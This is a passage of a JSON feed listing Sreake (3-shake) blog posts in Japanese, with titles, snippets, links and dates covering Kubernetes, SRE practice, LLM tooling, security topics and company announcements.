株式会社スリーシェイク.","link":"https://sreake.com/blog/%e3%82%aa%e3%83%96%e3%82%b6%e3%83%bc%e3%83%90%e3%83%93%e3%83%aa%e3%83%86%e3%82%a3%e3%81%a8%e3%81%af/","isoDate":"2024-09-30T01:35:09.000Z","dateMiliSeconds":1727660109000,"authorName":"Sreake","authorId":"Sreake"},{"title":"クラウドセキュリティとは","contentSnippet":"目次 はじめに クラウドシステムのセキュリティリスクとは クラウドシステムの代表的なセキュリティ対策 セキュリティ対策の実施に必要なこと Sreakeでできること 1. はじめに 近年、企業のIT環境は急速にクラウド化が […]The post クラウドセキュリティとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/%e3%82%af%e3%83%a9%e3%82%a6%e3%83%89%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3%e3%81%a8%e3%81%af/","isoDate":"2024-09-30T01:34:40.000Z","dateMiliSeconds":1727660080000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、Google Cloud 主催の Modern Infra & Apps Summit ’24 に協賛","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、2024年10月8日(火)にGoogle 渋谷オフィスで開催される「Modern Infra & Apps Summit ’24」 (主催:グーグル・クラウド・ジャパン合同会社) にスポンサーとして協賛し、セッション登壇することをお知らせします。The post スリーシェイク、Google Cloud 主催の Modern Infra & Apps Summit ’24 に協賛 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/moderninfra_appssummit/","isoDate":"2024-09-25T01:11:18.000Z","dateMiliSeconds":1727226678000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Argo CDによるKubernetesマルチテナント構成の検討","contentSnippet":"はじめに はじめまして、スリーシェイクのSreake事業部インターン生の上田です。 私は、SRE技術の調査と研究を行う目的で2024年8月19日~8月30日に開催された2週間のインターンに参加しました。 私はCI/CDパ […]The post Argo CDによるKubernetesマルチテナント構成の検討 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-multi-tenants-by-argo-cd/","isoDate":"2024-09-24T22:18:20.000Z","dateMiliSeconds":1727216300000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Platform Engineering の視点から考える、Kubernetes Load Balancing の比較","contentSnippet":"自己紹介 井上 裕介 千葉工業大学 情報科学部 情報工学科 学部4年の井上裕介と申します。大学では主に遺伝的アルゴリズムの改良に関する研究を行っています。2023年のサマーインターンから引き続きSreake事業部にて技術 […]The post Platform Engineering の視点から考える、Kubernetes Load Balancing の比較 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-load-balancing-comparison-on-platform-engineering-view-point/","isoDate":"2024-09-13T02:59:01.000Z","dateMiliSeconds":1726196341000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「DevOps – サービス」のスペシャライゼーション認定を取得","contentSnippet":"Google Cloud Sell および Service エンゲージメントモデルのプレミアパートナーである株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、Google Cloud Partner Advantage プログラムにおいて、「DevOps - サービス」のスペシャライゼーション認定を取得したことをお知らせします。The post スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「DevOps – サービス」のスペシャライゼーション認定を取得 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-partner-advantage-devops/","isoDate":"2024-09-13T01:00:00.000Z","dateMiliSeconds":1726189200000,"authorName":"Sreake","authorId":"Sreake"},{"title":"GKE Observabilityツール – Cloud Service MeshとCiliumの比較","contentSnippet":"はじめに extended Berkley Packet Filter (eBPF) は、Linuxのカーネルに組み込まれた技術で、カーネルに直接変更を加えることなくプログラムを安全にカーネル内で実行することを可能にしま […]The post GKE Observabilityツール – Cloud Service MeshとCiliumの比較 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cloud-service-mesh-cilium-comparison/","isoDate":"2024-09-09T04:55:11.000Z","dateMiliSeconds":1725857711000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Cloud MonitoringおよびCloud Loggingを用いた監視とアラート通知","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の高島です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。普段は、情報系の大学院生で、数値解析に […]The post Cloud MonitoringおよびCloud Loggingを用いた監視とアラート通知 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/monitoring-and-alerting-with-cloud-monitoring-and-cloud-logging/","isoDate":"2024-09-09T01:05:46.000Z","dateMiliSeconds":1725843946000,"authorName":"Sreake","authorId":"Sreake"},{"title":"CCoEとは","contentSnippet":"目次 はじめに CCoEとは クラウド活用に関する様々な課題 CCoE導入の際のポイント CCoEの導入事例 Sreakeでできること 1. はじめに 現在、さまざまな業界の多種多様なシステムにおいて、クラウドサービス­ […]The post CCoEとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/ccoe%e3%81%a8%e3%81%af/","isoDate":"2024-08-30T00:00:00.000Z","dateMiliSeconds":1724976000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Kubernetesとは","contentSnippet":"目次 はじめに Kubernetesの特徴と代表的な機能 Kubernetesを導入する際のポイント Kubernetesの導入事例 Sreakeでできること 1. はじめに 多様で複雑な現代のソフトウェア開発において、 […]The post Kubernetesとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes/","isoDate":"2024-08-30T00:00:00.000Z","dateMiliSeconds":1724976000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"GitLab Runnerによる簡易的なCICDの設計と実装","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の高島です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。普段は、情報系の大学院生で、数値解析に […]The post GitLab Runnerによる簡易的なCICDの設計と実装 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gitlab-runner-cicd/","isoDate":"2024-08-29T05:34:28.000Z","dateMiliSeconds":1724909668000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Cilium L2 Announcement を使ってみる","contentSnippet":"はじめに Sreake事業部でインターンをしている小林です。 本記事では、Cilium v1.14で追加されたCilium L2 Announcementを検証しました。 Kubernetes External Load […]The post Cilium L2 Announcement を使ってみる first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-cilium-l2-announcement/","isoDate":"2024-08-23T01:10:11.000Z","dateMiliSeconds":1724375411000,"authorName":"Sreake","authorId":"Sreake"},{"title":"LLMを利用して、APIを自動でテストするツールを作ってみる","contentSnippet":"1. はじめに はじめまして、Sreake事業部の井上 秀一です。私はSreake事業部にて、SREや生成AIに関するResearch & Developmentを行っています。本記事では、LLMとテストツールを […]The post LLMを利用して、APIを自動でテストするツールを作ってみる first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/llm-api-test-automation/","isoDate":"2024-08-14T22:24:42.000Z","dateMiliSeconds":1723674282000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Docker Build Check について検証をしてみた","contentSnippet":"はじめに こんにちは、Sreake 事業部 佐藤慧太@(SatohJohn) です。 以下の docker build check という機能について、検証をし、Google Cloud の Cloud Build に組 […]The post Docker Build Check について検証をしてみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/docker-build-check/","isoDate":"2024-08-13T01:00:00.000Z","dateMiliSeconds":1723510800000,"authorName":"Sreake","authorId":"Sreake"},{"title":"SLI、SLO、エラーバジェット導入の前に知っておきたいこと","contentSnippet":"1. はじめに こんにちは、「信頼性は可用性ではない」を標語にしているnwiizoです。 近年、サービスの信頼性向上に向けた取り組みとして、SLI(Service Level Indicator)、SLO(Service […]The post SLI、SLO、エラーバジェット導入の前に知っておきたいこと first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/sli-slo-good-practices/","isoDate":"2024-07-30T03:12:29.000Z","dateMiliSeconds":1722309149000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Cloud Operator Days Tokyo 2024 にスリーシェイクのエンジニアが登壇","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)に在籍するエンジニアが、Cloud Operator Days 2024 実行委員会が主催する「Cloud Operator D […]The post Cloud Operator Days Tokyo 2024 にスリーシェイクのエンジニアが登壇 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cloud-operator-days-tokyo-2024-%e3%81%ab%e3%82%b9%e3%83%aa%e3%83%bc%e3%82%b7%e3%82%a7%e3%82%a4%e3%82%af%e3%81%ae%e3%82%a8%e3%83%b3%e3%82%b8%e3%83%8b%e3%82%a2%e3%81%8c%e8%ac%9b%e5%b8%ab%e3%81%a8/","isoDate":"2024-07-25T01:11:09.000Z","dateMiliSeconds":1721869869000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、SRE NEXT 2024 にDIAMONDスポンサーとして協賛","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、 2024年8月3日(土)・8月4日(日)に@Abema Towersで開催される「SRE NEXT 2024」にDIAMO […]The post スリーシェイク、SRE NEXT 2024 にDIAMONDスポンサーとして協賛 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/srenext2024/","isoDate":"2024-07-23T01:18:53.000Z","dateMiliSeconds":1721697533000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Webサイトを自律攻撃するLLMのロジックを考えた","contentSnippet":"目次 はじめに LLMによるハッキングの先行事例 シンプルなAssistants API を用いた攻撃 自律攻撃を行うエージェント 効果的なエージェントの作成の既存手法 3エージェントによる計画・実行・再計画のループ機構 […]The post Webサイトを自律攻撃するLLMのロジックを考えた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/llm_hacker_gpt/","isoDate":"2024-07-22T01:00:00.000Z","dateMiliSeconds":1721610000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ShellScriptで自動化を楽にしたい時に知っておいても良いこと","contentSnippet":"はじめに こんにちは、皆さん。今日は、シェルスクリプトを使った高度な自動化のベストプラクティスとパターンについて解説します。これらは、ちょっとした知識で実行でき、作業を大幅に効率化できるTipsです。シェルスクリプトは、 […]The post ShellScriptで自動化を楽にしたい時に知っておいても良いこと first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/shellscript-good-practices/","isoDate":"2024-07-14T23:08:45.000Z","dateMiliSeconds":1720998525000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Pull requestの概要の作成とコードの改善を提案するツールを作ってみた","contentSnippet":"1. はじめに はじめまして、Sreake事業部でインターンをしている村山です。 今回は、PR Guardianというツールの開発と検証をしました。PR GuardianはPull Requestの概要の作成、コードの改 […]The post Pull requestの概要の作成とコードの改善を提案するツールを作ってみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pr-guardian/","isoDate":"2024-07-09T11:10:06.000Z","dateMiliSeconds":1720523406000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、PagerDuty on Tour TOKYO 2024 にGoldスポンサーとして協賛","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は 2024年8月6日(火)に東京ミッドタウンで開催される「PagerDuty on Tour TOKYO 2024」にGold […]The post スリーシェイク、PagerDuty on Tour TOKYO 2024 にGoldスポンサーとして協賛 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/sponsor/","isoDate":"2024-07-05T01:19:54.000Z","dateMiliSeconds":1720142394000,"authorName":"Sreake","authorId":"Sreake"},{"title":"soci-snapshotter によるコンテナの起動時間削減について","contentSnippet":"はじめに 近年、機械学習を使ったアプリケーションの需要が高まっており、Kubernetes と GPU を組み合わせて使うパターンが多く存在します。その中で問題となることの 1 つが、コンテナイメージのサイズが大きくなる […]The post soci-snapshotter によるコンテナの起動時間削減について first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/container-lazy-pull-soci-snapshotter/","isoDate":"2024-07-03T09:04:51.000Z","dateMiliSeconds":1719997491000,"authorName":"Sreake","authorId":"Sreake"},{"title":"space-agonを通して触るゲームインフラ","contentSnippet":"はじめに Sreake 事業部でインターンをしている小川です。主にパブリッククラウド周辺に触れながら、 Kubernetes 関連の OSS の技術検証・調査をしています。 本調査では、Agones と Open Mat […]The post space-agonを通して触るゲームインフラ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-game-infrastructure-from-space-agon/","isoDate":"2024-07-03T09:04:48.000Z","dateMiliSeconds":1719997488000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ReckonerとATBeX Service LinkのGCP接続を検証してみた","contentSnippet":"はじめに Sreake事業部のsatokenです。 普段はお客様向けのSRE案件も担当していますが、弊社SaaSのReckonerのSREも兼務しています。 これまでReckonerからDataソースにアクセスするときは […]The post ReckonerとATBeX Service LinkのGCP接続を検証してみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/reckoner-atbex-service-link-gcp/","isoDate":"2024-06-25T07:15:31.000Z","dateMiliSeconds":1719299731000,"authorName":"Sreake","authorId":"Sreake"},{"title":"[Kubecon EU 2024: Cloud Native AI Day]Reducing Cross-Zone Egress at Spotify with Custom gRPC Load Balancing のご紹介","contentSnippet":"はじめに こんにちは、Sreake事業部の永瀬滉平です! 今回はKubeCon EU 2024に参加してきましたので、中でも気になったセッションをピックアップしてご紹介したいと思います。 セッションについて 取り上げるセ […]The post [Kubecon EU 2024: Cloud Native AI Day]Reducing Cross-Zone Egress at Spotify with Custom gRPC Load Balancing のご紹介 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubecon-eu-2024-cloud-native-ai-dayreducing-cross-zone-egress-at-spotify-with-custom-grpc-load-balancing/","isoDate":"2024-06-19T01:18:15.000Z","dateMiliSeconds":1718759895000,"authorName":"Sreake","authorId":"Sreake"},{"title":"KubernetesにおけるCELの記述方法まとめ","contentSnippet":"はじめに Kubernetes 1.30でValidating Admission Policyの機能がGAするなど、開発中の新機能にCELが組み込まれるケースが増えています。今後Kubernetesで使われる機会が増え […]The post KubernetesにおけるCELの記述方法まとめ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-cel-description/","isoDate":"2024-06-12T03:33:38.000Z","dateMiliSeconds":1718163218000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google CloudのRapid evaluation APIを利用したLLMの評価手法","contentSnippet":"1. はじめに はじめまして、Sreake事業部の井上 秀一です。私はSreake事業部にて、SREや生成AIに関するResearch & Developmentを行っています。 本記事では、LLMの評価手法とし […]The post Google CloudのRapid evaluation APIを利用したLLMの評価手法 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-rapid-evaluation-api-verification/","isoDate":"2024-06-10T09:31:15.000Z","dateMiliSeconds":1718011875000,"authorName":"Sreake","authorId":"Sreake"},{"title":"SREに求められるスキルと心構え","contentSnippet":"はじめに こんにちは、最近の私の人生はキックボクシングとコーディングの2つの活動に極端に偏りつつあります。nwiizoです。一見正反対のようなこの2つの活動ですが、共通する本質があります。それは、頭で考えるだけでなく、実 […]The post SREに求められるスキルと心構え first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/sre-required-skills-and-mindset/","isoDate":"2024-06-03T01:56:04.000Z","dateMiliSeconds":1717379764000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Geminiはトーク分析ツールに取って代わるか","contentSnippet":"はじめに 初めまして、Sreake事業部アプリケーション開発支援チームの大美です。 先日、Googleのマルチモーダル生成AIモデル Gemini 1.5 Pro のコンテキストウィンドウが100万→200万トークンにア […]The post Geminiはトーク分析ツールに取って代わるか first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gemini-talk-analysis/","isoDate":"2024-05-24T10:28:39.000Z","dateMiliSeconds":1716546519000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloudのプロンプト比較機能を用いた、言語モデルにおけるプロンプト設計","contentSnippet":"1. はじめに はじめまして、Sreake事業部の井上 秀一です。私はSreake事業部にて、SREや生成AIに関するResearch & Developmentを行っています。 本記事では、Google Clo […]The post Google Cloudのプロンプト比較機能を用いた、言語モデルにおけるプロンプト設計 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-prompt-design/","isoDate":"2024-05-24T09:52:32.000Z","dateMiliSeconds":1716544352000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Cloud SQL(MySQL)とSpring Bootの画像検索アプリケーション作成","contentSnippet":"はじめに Google Cloud Next ’24 にて Cloud SQL for MySQL にて Embedding データを入れられるようになったというアナウンスが有りました。 https://cl […]The post Cloud SQL(MySQL)とSpring Bootの画像検索アプリケーション作成 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cloudsql-spring-boot-image-search-app/","isoDate":"2024-05-15T00:02:44.000Z","dateMiliSeconds":1715731364000,"authorName":"Sreake","authorId":"Sreake"},{"title":"OpenTelemetryによる計装とOpenTelemetry Collectorについて調べてみた","contentSnippet":"はじめに はじめまして、スリーシェイクインターン生の有馬祐二と関根弘晃です。私たちは2024年3月18日~3月29日に開催された短期インターンシップに参加しました。私たちのグループではインターンの期間でテレメトリデータの […]The post OpenTelemetryによる計装とOpenTelemetry Collectorについて調べてみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/opentelemetry-instrumentation/","isoDate":"2024-05-07T01:32:46.000Z","dateMiliSeconds":1715045566000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Ciliumのkube-proxy置き換えに関する調査 ~ GKE Dataplane V1・V2 の比較 ~","contentSnippet":"自己紹介 小林 インターン生のの小林です。大学では、ネットワーク系の研究を行っています。もともとセキュリティやネットワークに興味があり、SREやインフラ領域のスキル向上になると思い、本インターンに参加しました。 中村 イ […]The post Ciliumのkube-proxy置き換えに関する調査 ~ GKE Dataplane V1・V2 の比較 ~ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cilium-kube-proxy-replacement/","isoDate":"2024-05-05T23:59:27.000Z","dateMiliSeconds":1714953567000,"authorName":"Sreake","authorId":"Sreake"},{"title":"【2024年夏期インターン】SREの技術について学びたいインターン募集!","contentSnippet":"リモートで開催する2週間程度で、技術に関する研究を行うインターンシッププログラムとなっています!当社SREエンジニアがメンターとしてサポートし、知識に不安をお持ちの方のために事前学習の期間を設けておりますので、インフラ、 […]The post 【2024年夏期インターン】SREの技術について学びたいインターン募集! first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/summer_intern/","isoDate":"2024-05-01T03:27:01.000Z","dateMiliSeconds":1714534021000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、 Google Cloud Infrastructure Modernization 支援パートナープログラムに賛同","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、 クラウドへのインフラストラクチャ移行を支援する Google Cloud Infrastructure Moderniza […]The post スリーシェイク、 Google Cloud Infrastructure Modernization 支援パートナープログラムに賛同 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gcim/","isoDate":"2024-04-30T07:15:12.000Z","dateMiliSeconds":1714461312000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Istio Ambient Mesh の inpod redirection 試してみた","contentSnippet":"先日Istio 1.21.0がリリースされ ambient meshにinpod redirectionが実装されました。(ambient meshはまだalphaなので本番環境では非推奨です) inpod redire […]The post Istio Ambient Mesh の inpod redirection 試してみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/istio-ambient-mesh-inpod-redirection/","isoDate":"2024-04-23T06:05:05.000Z","dateMiliSeconds":1713852305000,"authorName":"Sreake","authorId":"Sreake"},{"title":"「セキュリティ・キャンプ全国大会2024」にスリーシェイクのエンジニアが講師として登壇","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)に在籍するエンジニアが、独立行政法人情報処理推進機構と一般社団法人セキュリティ・キャンプ協議会が共催する「セキュリティ・キャンプ […]The post 「セキュリティ・キャンプ全国大会2024」にスリーシェイクのエンジニアが講師として登壇 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/security/","isoDate":"2024-04-22T01:07:46.000Z","dateMiliSeconds":1713748066000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloud Next ‘24 参加レポート","contentSnippet":"参加レポート タイトルの通りラスベガスにて4/9から11まで開催されていた Google Cloud Next’24 に参加してきました。 今回は Google Cloud Partner Top Engineer 20 […]The post Google Cloud Next ‘24 参加レポート first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-next-24-report/","isoDate":"2024-04-17T23:00:00.000Z","dateMiliSeconds":1713394800000,"authorName":"Sreake","authorId":"Sreake"},{"title":"[Kubecon EU 2024: Cloud Native AI Day] Pods Everywhere! InterLink: A Virtual Kubelet Abstraction Streamlining HPC Resource Exploitation の紹介","contentSnippet":"はじめに INFNというイタリア国立核物理学研究所のメンバーであるディエゴさんが、「パブリッククラウド、オンプレミスの異種シミュレーション環境において、インターフェースの統一を目的としたプロジェクト」の紹介をするセッショ […]The post [Kubecon EU 2024: Cloud Native AI Day] Pods Everywhere! InterLink: A Virtual Kubelet Abstraction Streamlining HPC Resource Exploitation の紹介 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubecon-eu-2024-pods-everywhere-interlink-a-virtual-kubelet-abstraction-streamlining-hpc-resource-exploitation/","isoDate":"2024-04-08T03:46:21.000Z","dateMiliSeconds":1712547981000,"authorName":"Sreake","authorId":"Sreake"},{"title":"社内ChatBot (h1-slack-bot)にClaude 3を追加した話(+α)","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 この記事では、Anthro […]The post 社内ChatBot (h1-slack-bot)にClaude 3を追加した話(+α) first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/chatgpt-slack-integration-claude-3/","isoDate":"2024-03-29T02:50:00.000Z","dateMiliSeconds":1711680600000,"authorName":"Sreake","authorId":"Sreake"},{"title":"新人SREが0から始めるGKE上でのArgoCDによるWordPressデプロイ","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の高島です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。私は、情報系の大学院生で、普段は数値解 […]The post 新人SREが0から始めるGKE上でのArgoCDによるWordPressデプロイ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/deploy-wordpress-with-argocd-on-gke/","isoDate":"2024-03-21T23:34:40.000Z","dateMiliSeconds":1711064080000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Terraform workspace使って思ったこと","contentSnippet":"背景 そこまで大きな案件でもなく、 環境間の差分もあまりなさそうだったため 何より使ったことないから試してみようっていう好奇心 ある案件にて上記の理由から、Terraform workspaceを採用しました。 今回は、 […]The post Terraform workspace使って思ったこと first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/terraform-workspace/","isoDate":"2024-02-18T14:28:59.000Z","dateMiliSeconds":1708266539000,"authorName":"Sreake","authorId":"Sreake"},{"title":"OWASP Top 10 for Large Language Model Applications をまとめる","contentSnippet":"はじめに Sreake 事業部インターン生の中林です。私は、Sreake 事業部長期インターン生として SRE 技術の技術検証を行っています。 今回は、Sreake 事業部で作成している LLM アプリケーションに対する […]The post OWASP Top 10 for Large Language Model Applications をまとめる first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/owasp-top-10-for-llm-application/","isoDate":"2024-02-05T09:29:32.000Z","dateMiliSeconds":1707125372000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloudコスト増減の定期監視とアドバイスを行うCostChecker-Agentの紹介","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 この記事では、” […]The post Google Cloudコスト増減の定期監視とアドバイスを行うCostChecker-Agentの紹介 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-cost-checker-agent/","isoDate":"2024-01-25T02:17:39.000Z","dateMiliSeconds":1706149059000,"authorName":"Sreake","authorId":"Sreake"},{"title":"PR-Agentとその類似システムの解説","contentSnippet":"はじめに Sreake事業部でインターンをしている村山です。そのようなコードレビューの作業に対し、今日ではLLMを使用したレビュー用のツールが開発されています。今回はそのレビューツールの一つであるPR-Agentを中心に […]The post PR-Agentとその類似システムの解説 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pr-agent-and-similar-systems/","isoDate":"2024-01-18T09:38:27.000Z","dateMiliSeconds":1705570707000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、「AWS アドバンストティアサービスパートナー」に昇格","contentSnippet":"株式会社スリーシェイクは、アマゾン ウェブ サービス(以下、AWS)のAWSパートナーネットワーク(APN)において「AWS アドバンストティアサービスパートナー」に認定されたことをお知らせいたします。The post スリーシェイク、「AWS アドバンストティアサービスパートナー」に昇格 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/aws-advancedtier/","isoDate":"2024-01-12T00:50:00.000Z","dateMiliSeconds":1705020600000,"authorName":"Sreake","authorId":"Sreake"},{"title":"PipeCDのインストールとカスタマイズ","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の荒木です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。 前回の記事では、Kubernetes […]The post PipeCDのインストールとカスタマイズ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pipecd-installation/","isoDate":"2024-01-09T04:09:23.000Z","dateMiliSeconds":1704773363000,"authorName":"Sreake","authorId":"Sreake"},{"title":"PipeCDの概要","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の荒木です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。 この記事の目的は、Kubernete […]The post PipeCDの概要 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pipecd-overview/","isoDate":"2024-01-09T04:05:16.000Z","dateMiliSeconds":1704773116000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Googleが提供するBIツール「Looker」とは?","contentSnippet":"はじめに 2023年10月30日、Googleが提供するBIツール「Looker」が政府認定クラウドサービス(通称 ISMAP) に認定されました。「Looker」が“政府認定クラウドサービス”に Google提供のBI […]The post Googleが提供するBIツール「Looker」とは? first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-looker/","isoDate":"2023-12-28T00:11:29.000Z","dateMiliSeconds":1703722289000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloud 検証環境を頑張りすぎず良い感じに整えた話","contentSnippet":"はじめに こんにちは!Sreake事業部 横尾(@866mfs)です。 3-shakeでは、社員なら誰でもGoogle Cloud の各種サービスを検証できる、検証環境アカウント(ここでは ”test.org” と表記) […]The post Google Cloud 検証環境を頑張りすぎず良い感じに整えた話 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/make-better-google-cloud-verification/","isoDate":"2023-12-25T23:43:35.000Z","dateMiliSeconds":1703547815000,"authorName":"Sreake","authorId":"Sreake"},{"title":"社内チャットツールでGemini Proが使えるようになった話","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 本記事では、社内チャットツ […]The post 社内チャットツールでGemini Proが使えるようになった話 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gemini-pro-introduction/","isoDate":"2023-12-21T08:49:07.000Z","dateMiliSeconds":1703148547000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Karpenter を Amazon EKS で使う","contentSnippet":"はじめに Kubernetes のノードのオートスケーラーである Karpenter は,Amazon EKS クラスタでの利用を中心に普及しつつあります。 Karpenter を調べてみた・使ってみた系記事はたくさんあ […]The post Karpenter を Amazon EKS で使う first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/karpenter-with-amazon-eks/","isoDate":"2023-12-14T05:17:05.000Z","dateMiliSeconds":1702531025000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloud Partner Top Engineer 2024 になりました","contentSnippet":"はじめに 今回、ありがたいことに、 Google Cloud Partner Top Engineer 2024(以降PTE)になりましたのでその軌跡をまとめます。 コチラの資料によって PTE になりたい人が増えてくれ […]The post Google Cloud Partner Top Engineer 2024 になりました first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/earn-google-cloud-partner-top-engineer-2024/","isoDate":"2023-12-14T05:15:38.000Z","dateMiliSeconds":1702530938000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ECSの可用性設計を4つの軸で整理する","contentSnippet":"はじめに こんにちは!Sreake事業部 志羅山です。今年3月に3-shakeに入社し、長野県からリモートで仕事をしています(東京にも定期的に行ってます)。 最近、とあるお客様環境におけるECS(AWSのフルマネージド型 […]The post 